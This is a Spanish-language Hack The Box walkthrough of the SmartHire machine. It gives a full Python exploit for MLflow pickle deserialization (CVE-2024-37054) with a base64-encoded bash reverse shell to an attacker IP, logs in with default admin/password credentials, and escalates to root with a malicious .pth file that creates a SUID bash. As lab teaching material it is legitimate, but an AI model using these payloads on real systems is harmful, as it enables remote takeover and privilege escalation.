Descripción
SmartHire es una máquina de dificultad media en Hack The Box y presenta una superficie de ataque moderna centrada en un pipeline de aprendizaje automático. Las vulnerabilidades clave y los vectores de ataque descubiertos durante este compromiso incluyen:
- Vulnerabilidad en el proceso de entrenamiento de ML de la aplicación web principal
- Exposición de un servicio MLflow subordinado en un subdominio
- Vulnerabilidad de Ejecución Remota de Código (RCE) (CVE-2024-37054) en MLflow
- Vulnerabilidad crítica de escalada de privilegios mediante secuestro de la ruta de Python en un script de utilidad
Reconocimiento
La fase de reconocimiento comienza identificando el sistema operativo del sistema objetivo y los servicios disponibles. Primero utilizamos el comando ping para confirmar que el host es alcanzable y para analizar el valor Time To Live (TTL), lo que proporciona pistas iniciales sobre la arquitectura del SO del host.
$ ping -c 3 10.129.50.85
PING 10.129.50.85 (10.129.50.85) 56(84) bytes of data.
64 bytes from 10.129.50.85: icmp_seq=1 ttl=63 time=44.3 ms
64 bytes from 10.129.50.85: icmp_seq=2 ttl=63 time=44.2 ms
64 bytes from 10.129.50.85: icmp_seq=3 ttl=63 time=44.4 ms
--- 10.129.50.85 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 44.151/44.274/44.406/0.104 ms
El valor TTL de 63 indica un sistema Linux/Unix. A continuación, ejecutamos un escaneo básico de Nmap para enumerar puertos y servicios abiertos, proporcionando una vista de alto nivel de la superficie de ataque.
$ sudo nmap 10.129.50.85 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.50.85
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.44 seconds
Enumeración
El siguiente paso implica un análisis exhaustivo de los servicios descubiertos. Realizamos un escaneo Nmap más agresivo, incorporando detección de versiones (-sV) y ejecución de scripts predeterminados (-sC) en los puertos abiertos (22 y 80). Esta enumeración más profunda revela versiones de software específicas, que son cruciales para la investigación de vulnerabilidades.
$ nmap 10.129.50.85 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.50.85
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.76 seconds
El escaneo Nmap confirma la presencia de OpenSSH 8.9p1 y Nginx 1.18.0. Para facilitar pruebas posteriores a nivel de aplicación, añadimos manualmente el host principal y cualquier subdominio descubierto al archivo /etc/hosts del sistema. Comenzamos explorando la aplicación web principal alojada en smarthire.htb.
La aplicación web principal, SmartHire, presenta una plataforma para la evaluación de IA primero. La aplicación permite a los usuarios registrarse, subir archivos CSV para entrenar modelos ML, y posteriormente subir currículums para predicciones.
Esta interacción proporciona un excelente punto de entrada para analizar la lógica de la aplicación y posibles vulnerabilidades en el manejo de datos.
La aplicación requiere datos de entrenamiento en un formato CSV específico, que usamos para entrenar un modelo llamado Hack Inc.-115ec74f932f-model.
Luego procedemos a la etapa de predicción, utilizando un CSV de currículum vitae de muestra para generar un “Overall Fit Score”, confirmando la funcionalidad central de la aplicación.
Dado que no eran aparentes vulnerabilidades inmediatas en la interfaz de la aplicación principal, pivotamos nuestro enfoque hacia los subdominios descubiertos. Usando gobuster para la enumeración de VHOST, identificamos el subdominio models.smarthire.htb, el cual fue añadido al archivo hosts para una investigación más profunda.
$ gobuster vhost -u http://smarthire.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
...
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
models.smarthire.htb Status: 401 [Size: 137]
Examinar models.smarthire.htb revela que está ejecutando MLflow, una plataforma de código abierto para gestionar el ciclo de vida del aprendizaje automático. Aunque se requiere autenticación HTTP básica, investigamos las configuraciones predeterminadas del servicio. Descubrimos un commit histórico que sugiere una contraseña predeterminada de password para este servicio, con el nombre de usuario admin que nos permite obtener acceso al panel de control de MLflow.

Explotación
Nuestra fase de explotación comienza aprovechando el panel de control de MLflow accesible en models.smarthire.htb. Observamos que la versión en ejecución es 2.14.1, y el modelo que entrenamos previamente (Hack Inc.-115ec74f932f-model) está registrado.
Mediante investigación dirigida de vulnerabilidades, identificamos que las versiones de MLflow que ejecutan 0.9.0 o más nuevas son susceptibles a la Ejecución Remota de Código (RCE) mediante la deserialización de datos no confiables (CVE-2024-37054). Esta vulnerabilidad crítica surge cuando un modelo construido maliciosamente PyFunc es subido y posteriormente deserializado por el sistema víctima.
Utilizamos una prueba de concepto (PoC) del repositorio de GitHub de NiteeshPujari para desarrollar nuestro exploit personalizado. El objetivo es reemplazar la versión legítima del modelo con una maliciosa que contenga una carga útil diseñada para ejecutar un comando de terminal tras la deserialización.
El script de Python personalizado (poc/log_malicious_model.py) está diseñado para establecer la URI de seguimiento MLflow objetivo en http://models.smarthire.htb, definir una clase MaliciousCodeWrapper que contiene el método __reduce__, el cual contiene la carga útil y la carga útil es un comando codificado en Base64 destinado a establecer una conexión de terminal inversa a nuestra máquina atacante.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://models.smarthire.htb"
REGISTERED_MODEL_NAME = "Hack Inc.-115ec74f932f-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
"""
A malicious MLflow model wrapper.
It doesn't do any real ML work. Its only purpose is to carry the payload.
"""
def __init__(self):
# This inner class contains the dangerous __reduce__ method.
# When an instance of this class is unpickled, __reduce__ is called.
class CommandRunner:
def __reduce__(self):
# This is the payload.
# It returns the function to run (os.system) and its arguments.
# The command will print a message and create a file named 'pwned.txt'.
cmd = 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMzgvMTIzNCAwPiYx | base64 -d | bash'
return (os.system, (cmd,))
# The model holds an instance of the class with the payload.
self.payload = CommandRunner()
def predict(self, context, model_input):
# The predict function can be empty or do something trivial.
# It's not needed for the exploit to work.
return "This model is a malicious payload."
# --- Main script logic ---
if __name__ == "__main__":
print(f"[*] Connecting to MLflow server at {MLFLOW_TRACKING_URI}")
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
#mlflow.set_experiment("Default")
print(f"[*] Crafting malicious model '{REGISTERED_MODEL_NAME}'...")
with mlflow.start_run() as run:
wrapper = MaliciousCodeWrapper()
# Log the model. This is where MLflow pickles the wrapper object,
# including the malicious payload, and sends it to the server.
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=wrapper,
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model has been logged to the server.")
print(f"[*] Run ID: {run.info.run_id}")
print(f"[*] Victim can now load '{REGISTERED_MODEL_NAME}' version 1.")
Para asegurar la compatibilidad, configuramos un entorno Python 3.10 e instalamos la versión requerida de MLflow (2.14.1) y una versión reducida de setuptools para cumplir con los requisitos de dependencia de la vulnerabilidad.
$ mkdir exploit
$ cd exploit
$ nano poc.py
$ export MLFLOW_TRACKING_USERNAME="admin"; export MLFLOW_TRACKING_PASSWORD="password"
$ pyenv install 3.10
$ pyenv local 3.10
$ eval "$(pyenv init -)"
$ python -m virtualenv .env
$ . .env/bin/activate
$ pip install "mlflow==2.14.1" "setuptools<=80.0.1"
La ejecución del script registra exitosamente el modelo malicioso versión 2 en el servidor MLflow, listo para activación.
$ python poc.py
[*] Connecting to MLflow server at http://models.smarthire.htb
[*] Crafting malicious model 'Hack Inc.-115ec74f932f-model'...
Registered model 'Hack Inc.-115ec74f932f-model' already exists. Creating a new version of this model...
Created version '2' of model 'Hack Inc.-115ec74f932f-model'.
[*] Malicious model has been logged to the server.
[*] Run ID: fcd37e1ea1554fc8abca3e5d0516a1d3
[*] Victim can now load 'Hack Inc.-115ec74f932f-model' version 1.
Al iniciar una nueva solicitud de predicción, desencadenamos el proceso de deserialización, lo que lleva a la ejecución de nuestra carga útil y al establecimiento de un terminal inverso.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.238] from (UNKNOWN) [10.129.50.85] 37398
bash: cannot set terminal process group (1024): Inappropriate ioctl for device
bash: no job control in this shell
svcweb@smarthire:/var/www/smarthire.htb$ id
id
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
svcweb@smarthire:/var/www/smarthire.htb$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
[CTRL-Z]
$ stty raw -echo; fg
$ reset xterm
svcweb@smarthire:/var/www/smarthire.htb$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Hemos logrado exitosamente un terminal de bajo privilegio como el usuario svcweb. El siguiente objetivo es la escalada de privilegios para obtener acceso root, lo cual es esencial para la recuperación de flag. Verificamos los privilegios del usuario actual usando sudo -l para identificar vectores de escalada potenciales.
svcweb@smarthire:/var/www/smarthire.htb$ sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
La salida revela una potente ruta de escalada: svcweb puede ejecutar un script de Python específico (mlflowctl.py) como root sin contraseña.
Analizamos el contenido de /opt/tools/mlflow_ctl/mlflowctl.py. El script está diseñado para ser una interfaz operativa modular, que carga plugins dinámicamente usando site.addsitedir() en directorios encontrados dentro de /opt/tools/mlflow_ctl/plugins. Fundamentalmente, no valida permisos ni propiedad al añadir estos directorios, creando una vulnerabilidad conocida como Python Path Hijacking. Inspeccionamos los directorios de plugins:
svcweb@smarthire:/var/www/smarthire.htb$ ls -l /opt/tools/mlflow_ctl/plugins/
total 8
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
Dado que svcweb es miembro del grupo devs (como se muestra por id), poseen permisos de escritura en el directorio de plugins dev (drwxrwxr-x). Esto nos permite inyectar nuestro propio código colocando un archivo malicioso .pth dentro de este directorio. Creamos un archivo .pth diseñado para ejecutar un comando que crea un binario SUID /tmp/bash-suid cada vez que Python carga el módulo.
svcweb@smarthire:/var/www/smarthire.htb$ echo 'import os; os.getuid() == 0 and (os.system("cp /bin/bash /tmp/bash-suid && chmod u+s /tmp/bash-suid"))' > /opt/tools/mlflow_ctl/plugins/dev/privesc.pth
Al ejecutar una acción legítima, como ejecutar el subcomando status usando sudo, el script vulnerable detecta y añade automáticamente el directorio de plugins dev a la ruta de Python. Luego, el archivo privesc.pth se ejecuta con privilegios de root, creando el binario SUID.
svcweb@smarthire:/var/www/smarthire.htb$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up 5 hours'
Verificamos la creación exitosa del binario SUID:
svcweb@smarthire:/var/www/smarthire.htb$ ls -l /tmp/bash-suid
-rwsr-xr-x 1 root root 1396520 /tmp/bash-suid
svcweb@smarthire:/var/www/smarthire.htb$ /tmp/bash-suid -p
bash-suid-5.1# id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
Hemos escalado privilegios con éxito a root.
Flags
Los flags obtenidos de la máquina SmartHire son:
bash-suid-5.1# cat /home/svcweb/user.txt
<REDACTED>
bash-suid-5.1# cat /root/root.txt
<REDACTED>